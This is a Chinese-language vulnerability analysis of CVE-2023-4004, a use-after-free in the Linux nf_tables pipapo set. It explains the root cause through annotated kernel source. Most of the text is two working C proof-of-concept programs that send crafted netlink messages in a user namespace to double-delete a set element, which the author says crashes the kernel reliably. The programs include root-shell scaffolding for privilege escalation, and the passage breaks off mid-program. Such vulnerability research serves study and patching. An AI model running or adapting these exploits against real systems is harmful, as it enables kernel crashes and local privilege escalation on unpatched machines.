CVE-2023-4004


环境搭建

version: Linux-5.15.0

commit:8bb7eca972ad531c9b149c0a51ab43a417385813

config: defconfig+

CONFIG_USER_NS=y
CONFIG_SECURITY_SELINUX_DISABLE=y
# for debug
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
CONFIG_DEBUG_INFO_DWARF4=y
# for msg_msg copy
CONFIG_CHECKPOINT_RESTORE=y
# for syzkaller image
CONFIG_CONFIGFS_FS=y
CONFIG_SECURITYFS=y

CONFIG_SLAB_FREELIST_RANDOM=n
CONFIG_SLAB_FREELIST_HARDENED=n
CONFIG_SHUFFLE_PAGE_ALLOCATOR=n
CONFIG_HARDENED_USERCOPY=n
CONFIG_FORTIFY_SOURCE=n
CONFIG_STATIC_USERMODEHELPER=n
CONFIG_DEBUG_INFO_NONE=n
CONFIG_RANDOMIZE_BASE=n

CONFIG_DEBUG_INFO=y #调试

CONFIG_NETFILTER=y
CONFIG_NF_TABLES=y

思维导图

源码分析

https://elixir.bootlin.com/linux/v5.15/source/net/netfilter/nft_set_pipapo.c#L1880

pipapo_get源码分析如下:https://elixir.bootlin.com/linux/v5.15/source/net/netfilter/nft_set_pipapo.c#L514

static struct nft_pipapo_elem *pipapo_get(const struct net *net,
const struct nft_set *set,
const u8 *data, u8 genmask)
{
struct nft_pipapo_elem *ret = ERR_PTR(-ENOENT);
struct nft_pipapo *priv = nft_set_priv(set);
struct nft_pipapo_match *m = priv->clone;
unsigned long *res_map, *fill_map = NULL;
struct nft_pipapo_field *f;
int i;

res_map = kmalloc_array(m->bsize_max, sizeof(*res_map), GFP_ATOMIC);
if (!res_map) {
ret = ERR_PTR(-ENOMEM);
goto out;
}

fill_map = kcalloc(m->bsize_max, sizeof(*res_map), GFP_ATOMIC);
if (!fill_map) {
ret = ERR_PTR(-ENOMEM);
goto out;
}

memset(res_map, 0xff, m->bsize_max * sizeof(*res_map));

nft_pipapo_for_each_field(f, i, m) {
bool last = i == m->field_count - 1;
int b;

/* For each bit group: select lookup table bucket depending on
* packet bytes value, then AND bucket value
*/
if (f->bb == 8)
pipapo_and_field_buckets_8bit(f, res_map, data);
else if (f->bb == 4) //按照4bit分组,res_map和整个域中所有的bucket AND
pipapo_and_field_buckets_4bit(f, res_map, data);
else
BUG();

data += f->groups / NFT_PIPAPO_GROUPS_PER_BYTE(f);

/* Now populate the bitmap for the next field, unless this is
* the last field, in which case return the matched 'ext'
* pointer if any.
*
* Now res_map contains the matching bitmap, and fill_map is the
* bitmap for the next field.
*/
next_match:
b = pipapo_refill(res_map, f->bsize, f->rules, fill_map, f->mt,
last);
if (b < 0)
goto out;

if (last) {
if (nft_set_elem_expired(&f->mt[b].e->ext) ||
(genmask &&
!nft_set_elem_active(&f->mt[b].e->ext, genmask)))
goto next_match;

ret = f->mt[b].e;
goto out;
}

data += NFT_PIPAPO_GROUPS_PADDING(f);

/* Swap bitmap indices: fill_map will be the initial bitmap for
* the next field (i.e. the new res_map), and res_map is
* guaranteed to be all-zeroes at this point, ready to be filled
* according to the next mapping table.
*/
swap(res_map, fill_map);
}

out:
kfree(fill_map);
kfree(res_map);
return ret;
}
static inline void pipapo_and_field_buckets_4bit(struct nft_pipapo_field *f,
unsigned long *dst,
const u8 *data)

{
unsigned long *lt = NFT_PIPAPO_LT_ALIGN(f->lt);
int group;

for (group = 0; group < f->groups; group += BITS_PER_BYTE / 4, data++) {
//循环每次处理1字节,相当于2个group
u8 v;

v = *data >> 4; //高4bit,相当于处理第
__bitmap_and(dst, dst, lt + v * f->bsize,
f->bsize * BITS_PER_LONG);
lt += f->bsize * NFT_PIPAPO_BUCKETS(4);

v = *data & 0x0f; //低4bit
__bitmap_and(dst, dst, lt + v * f->bsize,
f->bsize * BITS_PER_LONG);
lt += f->bsize * NFT_PIPAPO_BUCKETS(4);
}
}

pipapo_refill:

int pipapo_refill(unsigned long *map, int len, int rules, unsigned long *dst,
union nft_pipapo_map_bucket *mt, bool match_only)
//map是res_map;
//len是f->bsize,代表一个bucket占用的long的数量;

{
unsigned long bitset;
int k, ret = -1;

for (k = 0; k < len; k++) {
bitset = map[k]; //处理res_map的每一个long
while (bitset) {
unsigned long t = bitset & -bitset;
int r = __builtin_ctzl(bitset);
int i = k * BITS_PER_LONG + r;

if (unlikely(i >= rules)) {
map[k] = 0;
return -1;
}

if (match_only) {
bitmap_clear(map, i, 1);
return i;
}

ret = 0;

bitmap_set(dst, mt[i].to, mt[i].n);

bitset ^= t;
}
map[k] = 0;
}

return ret;
}

漏洞成因

nfnetlink_rcv_batch:
begin...
nc->call ==> nf_tables_delsetelem
nft_del_setelem
//根据传入的参数先构造一个elem
nft_setelem_deactivate(ctx->net, set, &elem, flags);
__nfts_setelem_deactivate
priv = set->ops->deactivate(net, set, elem)==>nft_pipapo_deactivate()
pipapo_deacitvate(net, set, elem->key.val.data, ext)
pipapo_get() //用elem的key和bucket们AND,最终顺着mt找到elem
//然后通过pipapo_get找到真的elem,并释放掉原来构造的elem
nft_trans_elem(trans) = elem; //结构体赋值,找到的elem会被放到trans.data的priv上
//set->ndeact++
end...
ss->commit ==> nf_tables_commit
//......
case NFT_MSG_DELSETELEM:
nft_setelem_remove
pipapo_remove(net, set, elem){
//修改pipapo_match的各field的lt和mt,作用是将elem从set中清除
//elem就是之前找到的elem
while ((rules_f0 = pipapo_rules_same_key(m->f, first_rule))){
//遍历match中每个elem
nft_pipapo_for_each_field(f, i, m){
if(!pipapo_match_field(...)) break;
}
if(i == m->field_count){
...
pipapo_drop(m, rulemap);
...
}

}


}

atomic_dec(&te->set->nelems);
te->set->ndeact--;
nf_tables_commit_release(net);
schedule_work(&trans_destroy_work);
//......

//......
trans_destroy_work
list_for_each_entry_safe(trans, next, &head, list) {
list_del(&trans->list);
nft_commit_release(trans);
case NFT_MSG_DELSETELEM:
nf_tables_set_elem_destroy
kfree(elem)

}

触发漏洞的关键在于,在pipapo_remove中匹配失败,导致不能将elem从set中移除;同时还要保证整个删除过程中能够找到elem,使得之后elem能够被删除;

找elem的过程中只用到了key字段,没有用到ken_end,应该是我们放进去一个特定值,只要这个特定值在某个elem的范围内,就算是找到了elem了;

添加一个elem的时候如果不加key_end,那么就会end=start,然后插进去:

但是elem中没有key_end这个东西,所以在pipapo_remove中取出来的就是NULL:

这样到了pipapo_match_field函数中通过lt和mt肯定能得到边界,但是end是NULL它匹配不了,永远无法匹配成功,这是一个对于无KEY_END情况处理不一致导致的错误

触发漏洞

poc如下:

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <linux/keyctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_shell(){
printf("now pid == %p\n", getpid());
system("/bin/sh");
}

//CPU绑核
void bindCore(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/if_ether.h>

void err_exit(char *s){
perror(s);
exit(-1);
}
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;

if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
err_exit("FAILED to create a new namespace");

tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}

#include <sys/socket.h>
#include <linux/netlink.h>

#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <string.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <string.h>

#include "netlink.h"
#include "nf_tables.h"
#include "log.h"

const uint8_t zerobuf[0x40] = {0};

/**
* create_table(): Register a new table for the inet family
* @sock: socket bound to the netfilter netlink
* @name: Name of the new table
*/
void create_table(int sock, const char *name) {
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct iovec iov[3];
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh;
struct nlmsghdr *nlh_batch_end;
struct nlattr *attr;
struct nfgenmsg *nfm;

/* Destination preparation */
memset(&dest_snl, 0, sizeof(dest_snl));
dest_snl.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));

/* Netlink batch_begin message preparation */
nlh_batch_begin = get_batch_begin_nlmsg();

/* Netlink table message preparation */
nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE);
if (!nlh)
do_error_exit("malloc");

memset(nlh, 0, TABLEMSG_SIZE);
nlh->nlmsg_len = TABLEMSG_SIZE;
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 0;

nfm = NLMSG_DATA(nlh);
nfm->nfgen_family = NFPROTO_INET;

/** Prepare associated attribute **/
attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg));
set_str8_attr(attr, NFTA_TABLE_NAME, name);

/* Netlink batch_end message preparation */
nlh_batch_end = get_batch_end_nlmsg();

/* IOV preparation */
memset(iov, 0, sizeof(struct iovec) * 3);
iov[0].iov_base = (void *)nlh_batch_begin;
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
iov[1].iov_base = (void *)nlh;
iov[1].iov_len = nlh->nlmsg_len;
iov[2].iov_base = (void *)nlh_batch_end;
iov[2].iov_len = nlh_batch_end->nlmsg_len;

/* Message header preparation */
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = 3;

sendmsg(sock, &msg, 0);

/* Free used structures */
free(nlh_batch_end);
free(nlh);
free(nlh_batch_begin);
}


void create_pipapo_set(int sock){
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct iovec iov[0x100];
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh_batch_end;
struct nlattr *attr;
struct nfgenmsg *nfm;

/* Destination preparation */
memset(&dest_snl, 0, sizeof(dest_snl));
dest_snl.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));

/* Netlink batch_begin message preparation */
nlh_batch_begin = get_batch_begin_nlmsg();


/*
{
"NFTA_SET_TABLE":"my_table",
"NFTA_SET_NAME":"my_set@@",
"NFTA_SET_ID":0,
"NFTA_SET_KEY_LEN":16,
"NFTA_SET_FLAGS":196,
"NFTA_SET_OBJ_TYPE":9,
"NFTA_SET_DATA_LEN":16,
"NFTA_SET_DESC":{
"NFTA_SET_DESC_CONCAT":{
"NFTA_LIST_ELEM":{
"NFTA_SET_FIELD_LEN":2
},
"NFTA_LIST_ELEM@1":{
"NFTA_SET_FIELD_LEN":2
}
}
}

}


*/

int pay1_size = 100; //消息体的大小;
int nlh1_size = NLMSG_SPACE(pay1_size); //整个nlmsghdr的大小

/* Netlink table message preparation */
struct nlmsghdr *nlh1 = (struct nlmsghdr *)malloc(nlh1_size); //这里分配的是整个nlmsghdr的空间

memset(nlh1, 0, nlh1_size);
nlh1->nlmsg_len = nlh1_size;
nlh1->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET; //注意修改
nlh1->nlmsg_pid = getpid();
nlh1->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE;
nlh1->nlmsg_seq = 0;


uint8_t msgcon1[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,115,101,116,64,64,8,0,10,0,0,0,0,0,8,0,5,0,0,0,0,16,8,0,3,0,0,0,0,196,8,0,15,0,0,0,0,9,8,0,7,0,0,0,0,16,32,0,9,0,28,0,2,0,12,0,1,0,8,0,1,0,0,0,0,2,12,0,1,0,8,0,1,0,0,0,0,2};
memcpy((void *)nlh1+0x10, msgcon1, pay1_size);

nlh_batch_end = get_batch_end_nlmsg();

/* IOV preparation */
memset(iov, 0, sizeof(iov));
int tot_iov = 0;
iov[tot_iov].iov_base = (void *)nlh_batch_begin;
iov[tot_iov++].iov_len = nlh_batch_begin->nlmsg_len;
iov[tot_iov].iov_base = nlh1;
iov[tot_iov++].iov_len = nlh1->nlmsg_len;
iov[tot_iov].iov_base = (void *)nlh_batch_end;
iov[tot_iov++].iov_len = nlh_batch_end->nlmsg_len;

/* Message header preparation */
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = tot_iov;

sendmsg(sock, &msg, 0);

/* Free used structures */
free(nlh_batch_end);
free(nlh1);
free(nlh_batch_begin);
}

void add_set_elem(int sock){
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct iovec iov[0x100];
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh_batch_end;
struct nlattr *attr;
struct nfgenmsg *nfm;

/* Destination preparation */
memset(&dest_snl, 0, sizeof(dest_snl));
dest_snl.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));

/* Netlink batch_begin message preparation */
nlh_batch_begin = get_batch_begin_nlmsg();


/*
{
"NFTA_SET_ELEM_LIST_TABLE":"my_table",
"NFTA_SET_ELEM_LIST_SET":"my_set@@",
"NFTA_SET_ELEM_LIST_ELEMENTS":{
"NONAME":{
"NFTA_SET_ELEM_KEY":{
"NFTA_DATA_VALUE":"1234567812345678"
}

}
}

}


*/

int pay1_size = 60; //消息体的大小;
int nlh1_size = NLMSG_SPACE(pay1_size); //整个nlmsghdr的大小

/* Netlink table message preparation */
struct nlmsghdr *nlh1 = (struct nlmsghdr *)malloc(nlh1_size); //这里分配的是整个nlmsghdr的空间

memset(nlh1, 0, nlh1_size);
nlh1->nlmsg_len = nlh1_size;
nlh1->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSETELEM; //注意修改
nlh1->nlmsg_pid = getpid();
nlh1->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE;
nlh1->nlmsg_seq = 0;


uint8_t msgcon1[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,115,101,116,64,64,32,0,3,0,28,0,0,0,24,0,1,0,20,0,1,0,49,50,51,52,53,54,55,56,49,50,51,52,53,54,55,56};
memcpy((void *)nlh1+0x10, msgcon1, pay1_size);

nlh_batch_end = get_batch_end_nlmsg();

/* IOV preparation */
memset(iov, 0, sizeof(iov));
int tot_iov = 0;
iov[tot_iov].iov_base = (void *)nlh_batch_begin;
iov[tot_iov++].iov_len = nlh_batch_begin->nlmsg_len;
iov[tot_iov].iov_base = nlh1;
iov[tot_iov++].iov_len = nlh1->nlmsg_len;
iov[tot_iov].iov_base = (void *)nlh_batch_end;
iov[tot_iov++].iov_len = nlh_batch_end->nlmsg_len;

/* Message header preparation */
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = tot_iov;

sendmsg(sock, &msg, 0);

/* Free used structures */
free(nlh_batch_end);
free(nlh1);
free(nlh_batch_begin);

}

void del_set_elem(int sock){
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct iovec iov[0x100];
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh_batch_end;
struct nlattr *attr;
struct nfgenmsg *nfm;

/* Destination preparation */
memset(&dest_snl, 0, sizeof(dest_snl));
dest_snl.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));

/* Netlink batch_begin message preparation */
nlh_batch_begin = get_batch_begin_nlmsg();


/*
{
"NFTA_SET_ELEM_LIST_TABLE":"my_table",
"NFTA_SET_ELEM_LIST_SET":"my_set@@",
"NFTA_SET_ELEM_LIST_ELEMENTS":{
"NONAME":{
"NFTA_SET_ELEM_KEY":{
"NFTA_DATA_VALUE":"1234567812345678"
}

}
}

}


*/

int pay1_size = 60; //消息体的大小;
int nlh1_size = NLMSG_SPACE(pay1_size); //整个nlmsghdr的大小

/* Netlink table message preparation */
struct nlmsghdr *nlh1 = (struct nlmsghdr *)malloc(nlh1_size); //这里分配的是整个nlmsghdr的空间

memset(nlh1, 0, nlh1_size);
nlh1->nlmsg_len = nlh1_size;
nlh1->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_DELSETELEM; //注意修改
nlh1->nlmsg_pid = getpid();
nlh1->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE;
nlh1->nlmsg_seq = 0;


uint8_t msgcon1[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,115,101,116,64,64,32,0,3,0,28,0,0,0,24,0,1,0,20,0,1,0,49,50,51,52,53,54,55,56,49,50,51,52,53,54,55,56};
memcpy((void *)nlh1+0x10, msgcon1, pay1_size);

nlh_batch_end = get_batch_end_nlmsg();

/* IOV preparation */
memset(iov, 0, sizeof(iov));
int tot_iov = 0;
iov[tot_iov].iov_base = (void *)nlh_batch_begin;
iov[tot_iov++].iov_len = nlh_batch_begin->nlmsg_len;
iov[tot_iov].iov_base = nlh1;
iov[tot_iov++].iov_len = nlh1->nlmsg_len;
iov[tot_iov].iov_base = (void *)nlh_batch_end;
iov[tot_iov++].iov_len = nlh_batch_end->nlmsg_len;

/* Message header preparation */
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = tot_iov;

sendmsg(sock, &msg, 0);

/* Free used structures */
free(nlh_batch_end);
free(nlh1);
free(nlh_batch_begin);

}


int main(){
save_status();
bindCore(0);
unshare_setup();

int sock;
if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) {
perror("socket");
}
printf("[+] Netlink socket created\n");

create_table(sock, "my_table");
create_pipapo_set(sock);
add_set_elem(sock);
del_set_elem(sock);
del_set_elem(sock);

//pwn(sock);




}


可以稳定崩溃:

上述elem太小了,属于kmalloc-32,很容易被指针破坏关键域;

下面的poc是kmalloc-96的:

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <linux/keyctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_shell(){
printf("now pid == %p\n", getpid());
system("/bin/sh");
}

//CPU绑核
void bindCore(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/if_ether.h>

void err_exit(char *s){
perror(s);
exit(-1);
}
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;

if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET))
err_exit("FAILED to create a new namespace");

tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}

#include <sys/socket.h>
#include <linux/netlink.h>

#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <string.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <string.h>

#include "netlink.h"
#include "nf_tables.h"
#include "log.h"

const uint8_t zerobuf[0x40] = {0};

/**
* create_table(): Register a new table for the inet family
* @sock: socket bound to the netfilter netlink
* @name: Name of the new table
*/
void create_table(int sock, const char *name) {
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct iovec iov[3];
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh;
struct nlmsghdr *nlh_batch_end;
struct nlattr *attr;
struct nfgenmsg *nfm;

/* Destination preparation */
memset(&dest_snl, 0, sizeof(dest_snl));
dest_snl.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));

/* Netlink batch_begin message preparation */
nlh_batch_begin = get_batch_begin_nlmsg();

/* Netlink table message preparation */
nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE);
if (!nlh)
do_error_exit("malloc");

memset(nlh, 0, TABLEMSG_SIZE);
nlh->nlmsg_len = TABLEMSG_SIZE;
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 0;

nfm = NLMSG_DATA(nlh);
nfm->nfgen_family = NFPROTO_INET;

/** Prepare associated attribute **/
attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg));
set_str8_attr(attr, NFTA_TABLE_NAME, name);

/* Netlink batch_end message preparation */
nlh_batch_end = get_batch_end_nlmsg();

/* IOV preparation */
memset(iov, 0, sizeof(struct iovec) * 3);
iov[0].iov_base = (void *)nlh_batch_begin;
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
iov[1].iov_base = (void *)nlh;
iov[1].iov_len = nlh->nlmsg_len;
iov[2].iov_base = (void *)nlh_batch_end;
iov[2].iov_len = nlh_batch_end->nlmsg_len;

/* Message header preparation */
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = 3;

sendmsg(sock, &msg, 0);

/* Free used structures */
free(nlh_batch_end);
free(nlh);
free(nlh_batch_begin);
}


void create_pipapo_set(int sock){
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct iovec iov[0x100];
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh_batch_end;
struct nlattr *attr;
struct nfgenmsg *nfm;

/* Destination preparation */
memset(&dest_snl, 0, sizeof(dest_snl));
dest_snl.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));

/* Netlink batch_begin message preparation */
nlh_batch_begin = get_batch_begin_nlmsg();


/*
{
"NFTA_SET_TABLE":"my_table",
"NFTA_SET_NAME":"my_set@@",
"NFTA_SET_ID":0,
"NFTA_SET_KEY_LEN":64,
"NFTA_SET_FLAGS":196,
"NFTA_SET_OBJ_TYPE":9,
"NFTA_SET_DATA_LEN":16,
"NFTA_SET_DESC":{
"NFTA_SET_DESC_CONCAT":{
"NFTA_LIST_ELEM":{
"NFTA_SET_FIELD_LEN":2
},
"NFTA_LIST_ELEM@1":{
"NFTA_SET_FIELD_LEN":2
}
}
}

}


*/

int pay1_size = 100; //消息体的大小;
int nlh1_size = NLMSG_SPACE(pay1_size); //整个nlmsghdr的大小

/* Netlink table message preparation */
struct nlmsghdr *nlh1 = (struct nlmsghdr *)malloc(nlh1_size); //这里分配的是整个nlmsghdr的空间

memset(nlh1, 0, nlh1_size);
nlh1->nlmsg_len = nlh1_size;
nlh1->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET; //注意修改
nlh1->nlmsg_pid = getpid();
nlh1->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE;
nlh1->nlmsg_seq = 0;


uint8_t msgcon1[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,115,101,116,64,64,8,0,10,0,0,0,0,0,8,0,5,0,0,0,0,64,8,0,3,0,0,0,0,196,8,0,15,0,0,0,0,9,8,0,7,0,0,0,0,16,32,0,9,0,28,0,2,0,12,0,1,0,8,0,1,0,0,0,0,2,12,0,1,0,8,0,1,0,0,0,0,2};
memcpy((void *)nlh1+0x10, msgcon1, pay1_size);

nlh_batch_end = get_batch_end_nlmsg();

/* IOV preparation */
memset(iov, 0, sizeof(iov));
int tot_iov = 0;
iov[tot_iov].iov_base = (void *)nlh_batch_begin;
iov[tot_iov++].iov_len = nlh_batch_begin->nlmsg_len;
iov[tot_iov].iov_base = nlh1;
iov[tot_iov++].iov_len = nlh1->nlmsg_len;
iov[tot_iov].iov_base = (void *)nlh_batch_end;
iov[tot_iov++].iov_len = nlh_batch_end->nlmsg_len;

/* Message header preparation */
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = tot_iov;

sendmsg(sock, &msg, 0);

/* Free used structures */
free(nlh_batch_end);
free(nlh1);
free(nlh_batch_begin);
}

void add_set_elem(int sock){
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct iovec iov[0x100];
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh_batch_end;
struct nlattr *attr;
struct nfgenmsg *nfm;

/* Destination preparation */
memset(&dest_snl, 0, sizeof(dest_snl));
dest_snl.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));

/* Netlink batch_begin message preparation */
nlh_batch_begin = get_batch_begin_nlmsg();


/*
{
"NFTA_SET_ELEM_LIST_TABLE":"my_table",
"NFTA_SET_ELEM_LIST_SET":"my_set@@",
"NFTA_SET_ELEM_LIST_ELEMENTS":{
"NONAME":{
"NFTA_SET_ELEM_KEY":{
"NFTA_DATA_VALUE":"aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffff1111111122222222"
}

}
}

}


*/

int pay1_size = 108; //消息体的大小;
int nlh1_size = NLMSG_SPACE(pay1_size); //整个nlmsghdr的大小

/* Netlink table message preparation */
struct nlmsghdr *nlh1 = (struct nlmsghdr *)malloc(nlh1_size); //这里分配的是整个nlmsghdr的空间

memset(nlh1, 0, nlh1_size);
nlh1->nlmsg_len = nlh1_size;
nlh1->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSETELEM; //注意修改
nlh1->nlmsg_pid = getpid();
nlh1->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE;
nlh1->nlmsg_seq = 0;


uint8_t msgcon1[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,115,101,116,64,64,80,0,3,0,76,0,0,0,72,0,1,0,68,0,1,0,97,97,97,97,97,97,97,97,98,98,98,98,98,98,98,98,99,99,99,99,99,99,99,99,100,100,100,100,100,100,100,100,101,101,101,101,101,101,101,101,102,102,102,102,102,102,102,102,49,49,49,49,49,49,49,49,50,50,50,50,50,50,50,50};
memcpy((void *)nlh1+0x10, msgcon1, pay1_size);

nlh_batch_end = get_batch_end_nlmsg();

/* IOV preparation */
memset(iov, 0, sizeof(iov));
int tot_iov = 0;
iov[tot_iov].iov_base = (void *)nlh_batch_begin;
iov[tot_iov++].iov_len = nlh_batch_begin->nlmsg_len;
iov[tot_iov].iov_base = nlh1;
iov[tot_iov++].iov_len = nlh1->nlmsg_len;
iov[tot_iov].iov_base = (void *)nlh_batch_end;
iov[tot_iov++].iov_len = nlh_batch_end->nlmsg_len;

/* Message header preparation */
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = tot_iov;

sendmsg(sock, &msg, 0);

/* Free used structures */
free(nlh_batch_end);
free(nlh1);
free(nlh_batch_begin);

}

void del_set_elem(int sock){
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct iovec iov[0x100];
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh_batch_end;
struct nlattr *attr;
struct nfgenmsg *nfm;

/* Destination preparation */
memset(&dest_snl, 0, sizeof(dest_snl));
dest_snl.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));

/* Netlink batch_begin message preparation */
nlh_batch_begin = get_batch_begin_nlmsg();


/*
{
"NFTA_SET_ELEM_LIST_TABLE":"my_table",
"NFTA_SET_ELEM_LIST_SET":"my_set@@",
"NFTA_SET_ELEM_LIST_ELEMENTS":{
"NONAME":{
"NFTA_SET_ELEM_KEY":{
"NFTA_DATA_VALUE":"1234567812345678"
}

}
}

}


*/

int pay1_size = 108; //消息体的大小;
int nlh1_size = NLMSG_SPACE(pay1_size); //整个nlmsghdr的大小

/* Netlink table message preparation */
struct nlmsghdr *nlh1 = (struct nlmsghdr *)malloc(nlh1_size); //这里分配的是整个nlmsghdr的空间

memset(nlh1, 0, nlh1_size);
nlh1->nlmsg_len = nlh1_size;
